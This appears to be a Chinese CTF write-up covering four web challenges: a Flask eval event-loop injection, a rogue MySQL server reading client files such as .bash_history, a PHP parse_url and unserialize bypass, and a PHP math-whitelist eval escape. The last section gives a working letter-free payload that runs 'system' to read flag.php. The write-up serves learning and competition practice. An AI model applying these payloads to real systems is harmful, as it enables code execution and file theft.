几道web题简单总结

拖了好长时间，总结一下这一段时间做的几道值得记录一下的题目，有的没做出来，但是学习到了新的东西

1.homebrew event loop

  ddctf的一道题目，学到了python eval函数的用法，首先分析题目：

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'from flask import Flask, session, request, Response
import urllibapp = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5af31f99147e857'def FLAG():return 'FLAG_is_here_but_i_wont_show_you'  # censoreddef trigger_event(event):session['log'].append(event)if len(session['log']) > 5: session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)def get_mid_str(haystack, prefix, postfix=None):haystack = haystack[haystack.find(prefix) + len(prefix):]if postfix is not None:haystack = haystack[:haystack.find(postfix)]return haystackclass RollBackException: passdef execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')): continuefor c in event:if c not in valid_event_chars: breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')  # indexargs = get_mid_str(event, action + ';').split('#') #True#Truetry:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None: resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None: resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '': resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp@app.route(url_prefix + '/')
def entry_point():querystring = urllib.unquote(request.query_string)request.event_queue = []if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:querystring = 'action:index;False#False'if 'num_items' not in session:session['num_items'] = 0session['points'] = 3session['log'] = []request.prev_session = dict(session)trigger_event(querystring)return execute_event_loop()# handlers/functions below --------------------------------------def view_handler(args):page = args[0]html = ''html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])if page == 'index':html += '<a href="./?action:index;True%23False">View source code</a><br />'html += '<a href="./?action:view;shop">Go to e-shop</a><br />'html += '<a href="./?action:view;reset">Reset</a><br />'elif page == 'shop':html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'elif page == 'reset':del session['num_items']html += 'Session reset.<br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'return htmldef index_handler(args):bool_show_source = str(args[0])bool_download_source = str(args[1])if bool_show_source == 'True':source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&amp;').replace('\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace('<','&lt;').replace('>', '&gt;').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return htmlelse:trigger_event('action:view;index')def buy_handler(args):num_items = int(args[0])if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume: raise RollBackException()session['points'] -= point_to_consumedef show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'def get_flag_handler(args):if session['num_items'] >= 5:trigger_event('func:show_flag;' + FLAG())  # show_flag_function has been disabled, no worriestrigger_event('action:view;index')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0')

这道题目首先通读源码是必须的，另一个必须要了解到的出题点在eval()函数这个地方，eval中可以传入#来注释掉后面的部分

从上图可以看出来，此时eval会忽略掉#后面的所有字符串，以及要做出这道题的另一个点：

打破程序进行的流程，先加钻石数量再检验钱数，并且可以给事件传入一个列表，那么先加钻石，在检验钱之前去getflag即可，而且这里会把flag带到log中去，总之就是在一个正常的处理序列中去插入一个新的事件，因为eval这里可控，所以刚开始就应该反映到出题点

在这里！

 2.mysql弱口令

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharmimport json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPEclass RequestHandler(BaseHTTPRequestHandler):def do_GET(self):request_path = self.pathprint("\n----- Request Start ----->\n")print("request_path :", request_path)print("self.headers :", self.headers)print("<----- Request End -----\n")self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def do_POST(self):request_path = self.path# print("\n----- Request Start ----->\n")print("request_path : %s", request_path)request_headers = self.headerscontent_length = request_headers.getheaders('content-length')length = int(content_length[0]) if content_length else 0# print("length :", length)print("request_headers : %s" % request_headers)print("content : %s" % self.rfile.read(length))# print("<----- Request End -----\n")
self.send_response(200)self.send_header("Set-Cookie", "foo=bar")self.end_headers()result = self._func()self.wfile.write(json.dumps(result))def _func(self):netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)netstat.wait()ps_list = netstat.stdout.readlines()result = []for item in ps_list[2:]:tmp = item.split()Local_Address = tmp[3]Process_name = tmp[6]tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}result.append(tmp_dic)return resultdo_PUT = do_POSTdo_DELETE = do_GETdef main():port = 8123print('Listening on localhost:%s' % port)server = HTTPServer(('0.0.0.0', port), RequestHandler)server.serve_forever()if __name__ == "__main__":parser = OptionParser()parser.usage = ("Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n""Run:\n\n")(options, args) = parser.parse_args()main()

 这道题主要是来攻击mysql连接的客户端，这个题目给了agent.py 是用来检测是不是服务器上存在mysqld进程，而判断是通过do_get和do_post两个函数确定的，这两个函数都会调用_func函数，返回进程名，然后do_get 和do_post再把_func的返回值输出，

所以只需要让最后输出的存在mysqld就行了，然后就可以在服务器上读取客户端的文件。

这里读取客户端的.mysql_histoty文件，这个文件存储了用户登陆mysql服务器所执行的命令，也可以读取.bash_history

在这里又可以读到web的源码地址，所以可以继续读取它：

在这里能够发现flag所在的库和表，所以就可以读取表中的内容，又因为linux下，mysql安装后，数据库的数据默认存放在/var/lib/mysql目录下，所以可以直接访问其中的库表，所以可以直接读取

/var/lib/mysql/security/flag.ibd

 3.just soso

这道题比较常规

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload);
}else{ echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

这里主要记录一下绕过parse_url，这里会检测flag字符串，但是要是让parse_url

这样就能使parse_url返回false，这样绕过对flag的过滤，然后后面就是常规的反序列化漏洞，这里要记住最后的序列化的数据因为有不可见字符所以需要urlencode一下

 4.math

<?php 
error_reporting(0); 
//听说你很喜欢数学，不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ show_source(__FILE__); 
}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); 
}

 方法一：

这道题主要还是构造没有字母的shell，这里面又提供了进制转换的函数base_convert()，说明可以用0-9a-z 36个字符，那么就可以构造shell，这里主要通过分析一个payload：

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php

这里通过构造动态函数，首先base_convert()构造hex2bin，把16进制转换为字符串，再通过“_GET” -> 16进制表示，再到10进制表示，然后反过来dechex()->hex2bin()，然后结合动态函数
比如$a="_GET";$$a{c}(($$a){d}); 这样将实际的payload放在GET参数中，从而来减小长度。
另外一个点是php的数组不仅可以通过[]来进行索引，还可以通过{}来进行索引。

方法2：
另一种构造出_GET的方法是通过异或字符串：
比如要得到_G，则可以通过：

具体怎么得出：可以通过“_G”和两个字符异或：

for($j=0;$j<10;$j = $j+1){for($i=0;$i<10;$i = $i+1){echo $i.$j." ";echo "_G"^($j).($i);echo "\n";
}}

可以得到两位字符串，这里也可以选3位或者4位跑，但是因为得到的字符串需要在白名单里面找，所以太长了找不到，所以选两位最好，一位会增加payload长度，因此is是在白名单里存在的，所以就可以使用，同样的方法去找“ET”，最后
还是去构造动态函数就可以了。

$abs=(is_finite^(6).(4)).(rad2deg^(7).(5));$$abs{acos}($$abs{ceil})